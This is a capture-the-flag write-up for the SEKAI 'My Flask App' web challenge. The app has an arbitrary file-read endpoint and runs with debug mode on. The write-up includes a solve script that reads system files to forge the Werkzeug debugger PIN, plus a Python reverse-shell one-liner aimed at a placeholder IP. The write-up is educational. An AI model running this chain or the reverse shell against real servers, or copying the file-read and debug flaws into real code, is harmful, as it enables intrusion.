ctf-writeups

My Flask App

My Flask App

Web
SEKAI

I created a Web application in Flask, what could be wrong?

Author: belugagemink
https://my-flask-app.chals.sekai.team:1337

Attachment:

# app.py
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
    return render_template('index.html')

@app.route('/view')
def view():
    filename = request.args.get('filename')
    if not filename:
        return "Filename is required", 400
    try:
        with open(filename, 'r') as file:
            content = file.read()
        return content, 200
    except FileNotFoundError:
        return "File not found", 404
    except Exception as e:
        return f"Error: {str(e)}", 500

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

You can do arbitrary file read.

Following https://b33pl0g1c.medium.com/hacking-the-debugging-pin-of-a-flask-application-7364794c4948, we can find the debugger PIN code by reading /sys/class/net/eth0/address and /proc/sys/kernel/random/boot_id:

import requests

#hostname = "http://localhost:5001"
hostname = "https://my-flask-app-klpwpha0mv8i.chals.sekai.team:1337/"

req = requests.get(hostname + "/view?filename=/sys/class/net/eth0/address")
print(req.text)
mac = int(req.text.replace(":","").strip(), 16)
print(mac)

req2 = requests.get(hostname + "/view?filename=/proc/sys/kernel/random/boot_id")
print(req2.text)

# https://b33pl0g1c.medium.com/hacking-the-debugging-pin-of-a-flask-application-7364794c4948

import hashlib
from itertools import chain

probably_public_bits = [
    "nobody",  # username
    "flask.app",  # modname
    "Flask",  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    "/usr/local/lib/python3.11/site-packages/flask/app.py",  # getattr(mod, '__file__', None),
]
print(probably_public_bits)

private_bits = [
    str(mac),  #  the value from /sys/class/net/eth0/address
    req2.text.strip(),  # value from /proc/sys/kernel/random/boot_id
]
print(private_bits)

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)

# get shell:
# visit hostname/console
# import os,pty,socket;s=socket.socket();s.connect(("REVERSE_SHELL_PUBLIC_IP",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")

Then we can get reverse shell by running Python on the console.

However, I was only able to solve this locally, not online due to a missing piece. The piece was only found when the public writeup is released at https://github.com/project-sekai-ctf/sekaictf-2025/blob/main/web/my-flask-app/solution/solve.py: Host should be set to 127.0.0.1, otherwise the debugger console won’t show up.